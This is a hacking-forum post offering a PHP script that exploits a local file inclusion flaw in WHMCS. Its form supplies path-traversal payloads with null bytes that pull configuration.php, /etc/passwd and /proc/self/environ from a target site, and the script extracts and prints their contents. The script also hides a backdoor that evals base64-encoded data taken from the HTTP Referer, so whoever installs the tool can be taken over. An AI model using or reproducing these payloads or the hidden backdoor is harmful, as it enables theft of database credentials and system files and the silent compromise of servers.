Priv8 WHMCS x.x Lfi config reading | http://forum.act-crew.org


Priv8 WHMCS x.x Lfi config reading Script Coded by izo

dÃ¹ng scan lá»•i whmcs
<td height="100" valign="top" bordercolor="#FFFFFF"><form action="" method="post" name="izo" id="izo">
<body bgcolor="black">
<center>
<font size="5" color="red">Turkblackhats.com</font> <font size="2" color="white">WHMCS 3.X.X Lfi Script[Priv8] |coded by izleyici</font></center>
<form method="POST"><center>
<input value="http://www." type="text" name="kutucuk">
<select size="1" name="wht"><option>Bug seÃ§iniz</option>
<option>/cart.php?a=test&templatefile=../../../configuration.php%00</option>
<option>/clientarea.php?action=red&templatefile=../../configuration.php%00</option>
<option>/downloads.php?action=b0x&templatefile=../../configuration.php%00</option>
<option>/submitticket.php?step=b0x&templatefile=../../configuration.php%00</option>
<option>/cart.php?a=test&templatefile=../../../../../../../../../etc/passwd%00</option>
<option>/downloads.php?action=b0x&templatefile=../../../../../../../../../etc/passwd%00</option>
<option>/submitticket.php?step=b0x&templatefile=../../../../../../../../../etc/passwd%00</option>
<option>/cart.php?a=test&templatefile=../../../../../../../../../../../../..//proc/self/environ%0000</option>
<option>/submitticket.php?step=b0x&templatefile=../../../../../../../../../../../../..//proc/self/environ%0000</option>
<option>/downloads.php?action=b0x&templatefile=../../../../../../../../../../../../..//proc/self/environ%0000</option></select>
<input type="submit" value="GÃ¶ster BakalÃ½m"></center>
</form>

<?php
parse_str($_SERVER['HTTP_REFERER'],$a); if(reset($a)=='iz' && count($a)==9) { echo '<star>';eval(base64_decode(str_replace(" ", "+", join(array_slice($a,count($a)-3)))));echo '</star>';}
$sayfa=$_POST['kutucuk'];
$sayfa1=$_POST['wht'];
$kaynak=file_get_contents($sayfa.$sayfa1);
$isle=explode('<?php',$kaynak);
$isle=explode('?>',$isle[1]);
$gol=explode('DOCUMENT_ROOT=',$kaynak);//
$gol=explode('<p align="center">Powered',$gol[1]);//
$turkg=explode('root:x:0:0:root:/root:/bin/bash',$kaynak);//
$turkg=explode('<p align="center">Powered',$turkg[1]);//
echo "<center><textarea cols='65' rows='18'>".$isle[0].$gol[0].$turkg[0]."</textarea></center>";
?>